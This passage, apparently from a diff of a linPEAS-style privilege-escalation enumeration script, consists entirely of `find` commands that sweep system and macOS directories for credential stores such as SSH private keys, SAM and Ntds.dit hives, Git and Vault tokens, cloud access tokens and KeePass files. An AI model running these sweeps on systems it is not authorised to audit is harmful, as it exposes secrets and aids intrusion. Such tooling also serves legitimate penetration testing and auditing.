-name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"sess_*\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_USR=`eval_bckgrd "find /usr -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"ssh*config\" -o -name \"config.php\" -o -name \"*.kdbx\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_VAR=`eval_bckgrd "find /var -name \"unattended.xml\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"SAM\" -o -name \"passwd\" -o -name \"docker.sock\" -o -name \"security\" -o -name \"*.sqlite\" -o -name \"gvm-tools.conf\" -o -name \"*vnc*.txt\" -o -name \"unattend.inf\" -o -name \"security.sav\" -o -name \"*.kdbx\" -o -name \"config.php\" -o -name \"KeePass.config*\" -o -name \"SYSTEM\" -o -name \"*.cer\" -o -name \".git\" -o -name \"anaconda-ks.cfg\" -o -name \"sitemanager.xml\" -o -name \"*.gpg\" -o -name \"access_tokens.json\" -o -name \"*.db\" -o -name \"id_rsa*\" -o -name \"*.keystore\" -o -name \"postgresql.conf\" -o -name \"id_dsa*\" -o -name \"*.gnupg\" -o -name \"db.php\" -o -name \"tomcat-users.xml\" -o -name \"*.pgp\" -o -name \"access_tokens.db\" -o -name \"pagefile.sys\" -o -name \"credentials.db\" -o -name \"rsyncd.conf\" -o -name \"fastcgi_params\" -o -name \"https.conf\" -o -name \"*.sqlite3\" -o -name \"wp-config.php\" -o -name \"default.sav\" -o -name \"*.jks\" -o -name \".rhosts\" -o -name \"*vnc*.c*nf*\" -o -name \"*.rdg\" -o -name \"datasources.xml\" -o -name \"backups\" -o -name \"Dockerfile\" -o -name \"krb5.conf\" -o -name \"000-default\" -o -name \"filezilla.xml\" -o -name \"setupinfo\" -o -name \"*vnc*.ini\" -o -name \"web*.config\" -o -name \".lesshst\" -o -name \".sudo_as_admin_successful\" -o -name \"Ntds.dit\" -o -name \"mongod*.conf\" -o -name \"*.timer\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*vnc*.xml\" -o -name \".*_history\" -o -name \".pypirc\" -o -name \"my.cnf\" -o -name \"*.swp\" -o -name \"unattend.txt\" -o -name \"php.ini\" -o -name \".gitconfig\" -o -name \"autologin\" -o -name \"ws_ftp.ini\" -o -name \"recentservers.xml\" -o -name \"*.socket\" -o -name \"scclient.exe\" -o -name \"TokenCache.dat\" -o -name \"storage.php\" -o -name \"*credential*\" -o -name \"AppEvent.Evt\" -o -name \".msmtprc\" -o -name \"iis6.log\" -o -name \"secrets.yml\" -o -name \"system.sav\" -o -name \"software\" -o -name \"unattend.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"rsyncd.secrets\" -o -name \"RDCMan.settings\" -o -name \"sess_*\" -o -name \"software.sav\" -o -name \"kadm5.acl\" -o -name \"credentials\" -o -name \"wcx_ftp.ini\" -o -name \"ConsoleHost_history.txt\" -o -name \"*.pem\" -o -name \"sysprep.xml\" -o -name \".bashrc\" -o -name \"*.key\" -o -name \"*.ovpn\" -o -name \"authorized_keys\" -o -name \"sites.ini\" -o -name \"docker.socket\" -o -name \"bash.exe\" -o -name \"NetSetup.log\" -o -name \"cloud.cfg\" -o -name \"mosquitto.conf\" -o -name \"KeePass.ini\" -o -name \"ftp.ini\" -o -name \".plan\" -o -name \"wsl.exe\" -o -name \"accessTokens.json\" -o -name \"appcmd.exe\" -o -name \"ftp.config\" -o -name \"printers.xml\" -o -name \"pgsql.conf\" -o -name \"autologin.conf\" -o -name \".htpasswd\" -o -name \"*.viminfo\" -o -name \"settings.php\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \"SecEvent.Evt\" -o -name \"sysprep.inf\" -o -name \".k5login\" -o -name \"*.ftpconfig\" -o -name \"pg_hba.conf\" -o -name \"krb5.keytab\" -o -name \"AzureRMContext.json\" -o -name \"https-xampp.conf\" -o -name \"hosts.equiv\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"services.xml\" -o -name \"*.service\" -o -name \"azureProfile.json\" -o -name \".git-credentials\" -o -name \"*config*.php\" -o -name \"*.p12\" -o -name \".recently-used.xbel\" -o -name \".erlang.cookie\" -o -name \"authorized_hosts\" -o -name \"pgadmin*.db\" -o -name \"error.log\" -o -name \"ntuser.dat\" -o -name \"cesi.conf\" -o -name \"gitlab.yml\" -o -name \"supervisord.conf\" -o -name \"*.der\" -o -name \"redis.conf\" -o -name \"access.log\" -o -name \"snmpd.conf\" -o -name \"backup\" -o -name \"ddclient.conf\" -o -name \"docker-compose.yml\" -o -name \"scheduledtasks.xml\" -o -name \"winscp.ini\" -o -name \"*.pfx\" -o -name \"kibana.y*ml\" -o -name \"hostapd.conf\" -o -name \".google_authenticator\" -o -name \"index.dat\" -o -name \"creds*\" -o -name \"*password*\" -o -name \".env\" -o -name \".profile\" -o -name \".vault-token\" -o -name \".ldaprc\" -o -name \"groups.xml\" -o -name \"legacy_credentials.db\" -o -name \"*.crt\" -o -name \"drives.xml\" -o -name \"httpd.conf\" -o -name \".github\" -o -name \"KeePass.enforced*\" -o -name \"*.csr\" -o -name \"known_hosts\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \"ipsec.conf\" -o -name \"ffftp.ini\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - #MacOS Directories - FIND_DIR_PRIVATE=`eval_bckgrd "find /private -type d $FIND_BACKUPS_DIRS_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_LDAP_RELEVANT_NAMES -o $FIND_KERBEROS_RELEVANT_NAMES -o $FIND_LOGSTASH_RELEVANT_NAMES -o $FIND_COUCHDB_RELEVANT_NAMES -o $FIND_NEO4J_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_IRSSI_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_DIR_APPLICATIONS=`eval_bckgrd "find /Applications -type d $FIND_BACKUPS_DIRS_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_LDAP_RELEVANT_NAMES -o $FIND_KERBEROS_RELEVANT_NAMES -o $FIND_LOGSTASH_RELEVANT_NAMES -o $FIND_COUCHDB_RELEVANT_NAMES -o $FIND_NEO4J_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_IRSSI_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - # All - FIND_HOME=`eval_bckgrd "find $HOMESEARCH $SNMP_RELEVANT_NAMES -o $FIND_FASTCGI_RELEVANT_NAMES -o $FIND_MOODLE_RELEVANT_NAMES -o $FIND_AUTOLOGIN_RELEVANT_NAMES -o $FIND_DOCKER_RELEVANT_NAMES -o $FIND_VIM_RELEVANT_NAMES -o $FIND_PGP_RELEVANT_NAMES -o $FIND_GITLAB_RELEVANT_NAMES -o $FIND_PASSWD_SPLUNK_RELEVANT_NAMES -o $FIND_BACKUPMANAGER_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES -o $FIND_POSTGRESQL_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_PHP_RELEVANT_NAMES -o $FIND_WORDPRESS_RELEVANT_NAMES -o $FIND_DRUPAL_RELEVANT_NAMES -o $FIND_TOMCAT_RELEVANT_NAMES -o $FIND_MONGO_RELEVANT_NAMES -o $FIND_SUPERVISORD_RELEVANT_NAMES -o $FIND_CESI_RELEVANT_NAMES -o $FIND_RSYNCD_RELEVANT_NAMES -o $FIND_HOSTAPAD_RELEVANT_NAMES -o $FIND_ANACONDA_KS_RELEVANT_NAMES -o $FIND_OVPN_RELEVANT_NAMES -o $FIND_SSH_RELEVANT_NAMES -o $FIND_CLOUD_KEYS_RELEVANT_NAMES -o $FIND_KIBANA_RELEVANT_NAMES -o $FIND_ELASTICSEARCH_RELEVANT_NAMES -o $FIND_REDIS_RELEVANT_NAMES -o $FIND_MOSQUITTO_RELEVANT_NAMES -o $FIND_DB_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_PASSWORD_RELEVANT_NAMES -o $FIND_ERLANG_RELEVANT_NAMES -o $FIND_GVM_RELEVANT_NAMES -o $FIND_IPSEC_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_ETC=`eval_bckgrd "find /etc/ $SNMP_RELEVANT_NAMES -o $FIND_FASTCGI_RELEVANT_NAMES -o $FIND_MOODLE_RELEVANT_NAMES -o $FIND_AUTOLOGIN_RELEVANT_NAMES -o $FIND_DOCKER_RELEVANT_NAMES -o $FIND_VIM_RELEVANT_NAMES -o $FIND_GITLAB_RELEVANT_NAMES -o $FIND_PASSWD_SPLUNK_RELEVANT_NAMES -o $FIND_BACKUPMANAGER_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES -o $FIND_POSTGRESQL_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_PHP_RELEVANT_NAMES -o $FIND_WORDPRESS_RELEVANT_NAMES -o $FIND_DRUPAL_RELEVANT_NAMES -o $FIND_TOMCAT_RELEVANT_NAMES -o $FIND_MONGO_RELEVANT_NAMES -o $FIND_SUPERVISORD_RELEVANT_NAMES -o $FIND_CESI_RELEVANT_NAMES -o $FIND_RSYNCD_RELEVANT_NAMES -o $FIND_HOSTAPAD_RELEVANT_NAMES -o $FIND_ANACONDA_KS_RELEVANT_NAMES -o $FIND_OVPN_RELEVANT_NAMES -o $FIND_SSH_RELEVANT_NAMES -o $FIND_CLOUD_KEYS_RELEVANT_NAMES -o $FIND_KIBANA_RELEVANT_NAMES -o $FIND_KNOCK_RELEVANT_NAMES -o $FIND_ELASTICSEARCH_RELEVANT_NAMES -o $FIND_REDIS_RELEVANT_NAMES -o $FIND_MOSQUITTO_RELEVANT_NAMES -o $FIND_DB_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_SYSTEMD_RELEVANT_NAMES -o $FIND_TIMERS_RELEVANT_NAMES -o $FIND_SOCKETS_RELEVANT_NAMES -o $FIND_ERLANG_RELEVANT_NAMES -o $FIND_GVM_RELEVANT_NAMES -o $FIND_IPSEC_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_VAR=`eval_bckgrd "find /var/ $SNMP_RELEVANT_NAMES -o $FIND_FASTCGI_RELEVANT_NAMES -o $FIND_MOODLE_RELEVANT_NAMES -o $FIND_AUTOLOGIN_RELEVANT_NAMES -o $FIND_DOCKER_RELEVANT_NAMES -o $FIND_VIM_RELEVANT_NAMES -o $FIND_GITLAB_RELEVANT_NAMES -o $FIND_PASSWD_SPLUNK_RELEVANT_NAMES -o $FIND_BACKUPMANAGER_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES -o $FIND_POSTGRESQL_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_PHP_RELEVANT_NAMES -o $FIND_WORDPRESS_RELEVANT_NAMES -o $FIND_DRUPAL_RELEVANT_NAMES -o $FIND_TOMCAT_RELEVANT_NAMES -o $FIND_MONGO_RELEVANT_NAMES -o $FIND_SUPERVISORD_RELEVANT_NAMES -o $FIND_CESI_RELEVANT_NAMES -o $FIND_RSYNCD_RELEVANT_NAMES -o $FIND_HOSTAPAD_RELEVANT_NAMES -o $FIND_ANACONDA_KS_RELEVANT_NAMES -o $FIND_SSH_RELEVANT_NAMES -o $FIND_CLOUD_KEYS_RELEVANT_NAMES -o $FIND_KIBANA_RELEVANT_NAMES -o $FIND_ELASTICSEARCH_RELEVANT_NAMES -o $FIND_REDIS_RELEVANT_NAMES -o $FIND_MOSQUITTO_RELEVANT_NAMES -o $FIND_DB_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_SYSTEMD_RELEVANT_NAMES -o $FIND_TIMERS_RELEVANT_NAMES -o $FIND_SOCKETS_RELEVANT_NAMES -o $FIND_ERLANG_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_TMP=`eval_bckgrd "find /tmp/ $SNMP_RELEVANT_NAMES -o $FIND_FASTCGI_RELEVANT_NAMES -o $FIND_MOODLE_RELEVANT_NAMES -o $FIND_DOCKER_RELEVANT_NAMES -o $FIND_VIM_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES -o $FIND_POSTGRESQL_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_PHP_RELEVANT_NAMES -o $FIND_WORDPRESS_RELEVANT_NAMES -o $FIND_DRUPAL_RELEVANT_NAMES -o $FIND_TOMCAT_RELEVANT_NAMES -o $FIND_MONGO_RELEVANT_NAMES -o $FIND_SUPERVISORD_RELEVANT_NAMES -o $FIND_CESI_RELEVANT_NAMES -o $FIND_RSYNCD_RELEVANT_NAMES -o $FIND_HOSTAPAD_RELEVANT_NAMES -o $FIND_ANACONDA_KS_RELEVANT_NAMES -o $FIND_OVPN_RELEVANT_NAMES -o $FIND_SSH_RELEVANT_NAMES -o $FIND_CLOUD_KEYS_RELEVANT_NAMES -o $FIND_KIBANA_RELEVANT_NAMES -o $FIND_ELASTICSEARCH_RELEVANT_NAMES -o $FIND_REDIS_RELEVANT_NAMES -o $FIND_MOSQUITTO_RELEVANT_NAMES -o $FIND_DB_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_GVM_RELEVANT_NAMES -o $FIND_IPSEC_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_OPT=`eval_bckgrd "find /opt/ $SNMP_RELEVANT_NAMES -o $FIND_FASTCGI_RELEVANT_NAMES -o $FIND_MOODLE_RELEVANT_NAMES -o $FIND_DOCKER_RELEVANT_NAMES -o $FIND_VIM_RELEVANT_NAMES -o $FIND_GITLAB_RELEVANT_NAMES -o $FIND_PASSWD_SPLUNK_RELEVANT_NAMES -o $FIND_BACKUPMANAGER_RELEVANT_NAMES -o $FIND_POSTGRESQL_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_PHP_RELEVANT_NAMES -o $FIND_WORDPRESS_RELEVANT_NAMES -o $FIND_DRUPAL_RELEVANT_NAMES -o $FIND_TOMCAT_RELEVANT_NAMES -o $FIND_MONGO_RELEVANT_NAMES -o $FIND_SUPERVISORD_RELEVANT_NAMES -o $FIND_CESI_RELEVANT_NAMES -o $FIND_RSYNCD_RELEVANT_NAMES -o $FIND_HOSTAPAD_RELEVANT_NAMES -o $FIND_ANACONDA_KS_RELEVANT_NAMES -o $FIND_SSH_RELEVANT_NAMES -o $FIND_CLOUD_KEYS_RELEVANT_NAMES -o $FIND_KIBANA_RELEVANT_NAMES -o $FIND_ELASTICSEARCH_RELEVANT_NAMES -o $FIND_REDIS_RELEVANT_NAMES -o $FIND_MOSQUITTO_RELEVANT_NAMES -o $FIND_DB_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_GVM_RELEVANT_NAMES -o $FIND_IPSEC_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_USR=`eval_bckgrd "find /usr/ $SNMP_RELEVANT_NAMES -o $FIND_FASTCGI_RELEVANT_NAMES -o $FIND_MOODLE_RELEVANT_NAMES -o $FIND_DOCKER_RELEVANT_NAMES -o $FIND_VIM_RELEVANT_NAMES -o $FIND_GITLAB_RELEVANT_NAMES -o $FIND_PASSWD_SPLUNK_RELEVANT_NAMES -o $FIND_BACKUPMANAGER_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES -o $FIND_POSTGRESQL_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_PHP_RELEVANT_NAMES -o $FIND_WORDPRESS_RELEVANT_NAMES -o $FIND_DRUPAL_RELEVANT_NAMES -o $FIND_TOMCAT_RELEVANT_NAMES -o $FIND_MONGO_RELEVANT_NAMES -o $FIND_SUPERVISORD_RELEVANT_NAMES -o $FIND_CESI_RELEVANT_NAMES -o $FIND_RSYNCD_RELEVANT_NAMES -o $FIND_HOSTAPAD_RELEVANT_NAMES -o $FIND_ANACONDA_KS_RELEVANT_NAMES -o $FIND_OVPN_RELEVANT_NAMES -o $FIND_SSH_RELEVANT_NAMES -o $FIND_CLOUD_KEYS_RELEVANT_NAMES -o $FIND_KIBANA_RELEVANT_NAMES -o $FIND_ELASTICSEARCH_RELEVANT_NAMES -o $FIND_REDIS_RELEVANT_NAMES -o $FIND_MOSQUITTO_RELEVANT_NAMES -o $FIND_DB_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_SYSTEMD_RELEVANT_NAMES -o $FIND_TIMERS_RELEVANT_NAMES -o $FIND_SOCKETS_RELEVANT_NAMES -o $FIND_ERLANG_RELEVANT_NAMES -o $FIND_GVM_RELEVANT_NAMES -o $FIND_IPSEC_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_MNT=`eval_bckgrd "find /mnt/ $SNMP_RELEVANT_NAMES -o $FIND_FASTCGI_RELEVANT_NAMES -o $FIND_MOODLE_RELEVANT_NAMES -o $FIND_AUTOLOGIN_RELEVANT_NAMES -o $FIND_KNOCK_RELEVANT_NAMES -o $FIND_SYSTEMD_RELEVANT_NAMES -o $FIND_TIMERS_RELEVANT_NAMES -o $FIND_SOCKETS_RELEVANT_NAMES -o $FIND_DOCKER_RELEVANT_NAMES -o $FIND_VIM_RELEVANT_NAMES -o $FIND_PGP_RELEVANT_NAMES -o $FIND_GITLAB_RELEVANT_NAMES -o $FIND_PASSWD_SPLUNK_RELEVANT_NAMES -o $FIND_BACKUPMANAGER_RELEVANT_NAMES -o $FIND_KEYRING_RELEVANT_NAMES -o $FIND_POSTGRESQL_RELEVANT_NAMES -o $FIND_APACHE_RELEVANT_NAMES -o $FIND_PHP_RELEVANT_NAMES -o $FIND_WORDPRESS_RELEVANT_NAMES -o $FIND_DRUPAL_RELEVANT_NAMES -o $FIND_TOMCAT_RELEVANT_NAMES -o $FIND_MONGO_RELEVANT_NAMES -o $FIND_SUPERVISORD_RELEVANT_NAMES -o $FIND_CESI_RELEVANT_NAMES -o $FIND_RSYNCD_RELEVANT_NAMES -o $FIND_HOSTAPAD_RELEVANT_NAMES -o $FIND_ANACONDA_KS_RELEVANT_NAMES -o $FIND_OVPN_RELEVANT_NAMES -o $FIND_SSH_RELEVANT_NAMES -o $FIND_CLOUD_KEYS_RELEVANT_NAMES -o $FIND_KIBANA_RELEVANT_NAMES -o $FIND_ELASTICSEARCH_RELEVANT_NAMES -o $FIND_REDIS_RELEVANT_NAMES -o $FIND_MOSQUITTO_RELEVANT_NAMES -o $FIND_DB_RELEVANT_NAMES -o $FIND_INSTERESTING_RELEVANT_NAMES -o $FIND_PASSWORD_RELEVANT_NAMES -o $FIND_ERLANG_RELEVANT_NAMES -o $FIND_GVM_RELEVANT_NAMES -o $FIND_IPSEC_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_LIB=`eval_bckgrd "find /lib/ $FIND_SYSTEMD_RELEVANT_NAMES -o $FIND_TIMERS_RELEVANT_NAMES -o $FIND_SOCKETS_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_RUN=`eval_bckgrd "find /run/ $FIND_DOCKER_RELEVANT_NAMES -o $FIND_SYSTEMD_RELEVANT_NAMES -o $FIND_TIMERS_RELEVANT_NAMES -o $FIND_SOCKETS_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_SYSTEMD=`eval_bckgrd "find /systemd/ $FIND_SYSTEMD_RELEVANT_NAMES -o $FIND_TIMERS_RELEVANT_NAMES -o $FIND_SOCKETS_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_SYSTEM=`eval_bckgrd "find /system/ $FIND_VIM_RELEVANT_NAMES -o $FIND_GITLAB_RELEVANT_NAMES -o $FIND_PASSWD_SPLUNK_RELEVANT_NAMES -o $FIND_SYSTEMD_RELEVANT_NAMES -o $FIND_TIMERS_RELEVANT_NAMES -o $FIND_SOCKETS_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_SYS=`eval_bckgrd "find /sys/ $FIND_SYSTEMD_RELEVANT_NAMES -o $FIND_TIMERS_RELEVANT_NAMES -o $FIND_SOCKETS_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - FIND_SNAP=`eval_bckgrd "find /snap/ $FIND_SYSTEMD_RELEVANT_NAMES -o $FIND_TIMERS_RELEVANT_NAMES -o $FIND_SOCKETS_RELEVANT_NAMES 2>/dev/null | sort; printf \\\$Y'. '\\\$NC 1>&2;"` - - #MacOS - 